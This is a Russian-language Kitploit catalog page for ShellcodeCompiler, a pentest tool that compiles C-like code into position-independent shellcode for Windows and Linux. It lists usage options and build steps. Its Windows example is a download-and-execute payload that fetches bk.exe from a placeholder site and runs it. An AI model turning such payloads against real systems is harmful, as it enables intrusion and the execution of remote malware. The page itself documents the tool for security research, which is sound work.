Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ShellcodeCompiler — Компилятор шеллкода | Kitploit
Инструменты/GitHubGitHub/nytrorst/shellcodecompiler
ЭксплуатацияШелл-кодГенерация ШеллкодаРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

Компилятор шеллкода

Репозиторий
1.2k2801 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Компилятор шеллкода

Shellcode Compiler — это программа, которая компилирует код в стиле C/C++ в небольшой, позиционно-независимый и не содержащий NULL шеллкод для Windows (x86 и x64) и Linux (x86 и x64). Можно вызывать любую функцию Windows API или системный вызов Linux удобным способом.

Shellcode Compiler принимает на вход исходный файл и использует собственный компилятор для интерпретации кода и генерации файла ассемблера, который собирается с помощью движка Keystone.

Параметры командной строки

root@kitploit:~
    -h (--help)      : Показать это справочное сообщение
    -p (--platform)  : Платформа шеллкода: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : Выводить подробную информацию
    -t (--test)      : Протестировать (выполнить) сгенерированный шеллкод
    -r (--read)      : Читать исходный файл
    -o (--output)    : Выходной файл сгенерированного бинарного шеллкода
    -a (--assembbly) : Выходной файл сгенерированного кода ассемблера

Пример для Windows

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Пример для Linux

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

Пример вызова

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
    

Ограничения

  1. Невозможно использовать возвращаемое значение вызова API
  2. Невозможно использовать указатели или буферы
  3. Невозможно объявлять переменные

Существует и множество других ограничений. Это альфа-версия. Пожалуйста, сообщайте об ошибках и предложениях.

Журнал изменений

  1. Первоначальная поддержка Windows x64
  2. Первоначальная поддержка шеллкодов Linux (x86 и x64)

Keystone

  1. Загрузите исходный код Keystone Engine
  2. Скомпилируйте Keystone Engine как статическую библиотеку, используя nmake-lib.sh (для Linux) и nmake-lib.bat (для Windows)
  3. Windows: Скопируйте полученный файл библиотеки из keystone-src\build\llvm\lib\keystone.lib в ShellcodeCompiler\Keystone\keystone_x86.lib (для 32 бит) и keystone_x64.lib (для 64 бит)
  4. Linux: Скопируйте полученный файл библиотеки из keystone-src\build\llvm\lib\keystone.lib в ShellcodeCompiler\Keystone\libkeystone_x86.a (для 32 бит) и libkeystone_x64.a (для 64 бит)

Автор

Ionut Popescu (@NytroRST)

Скачать инструмент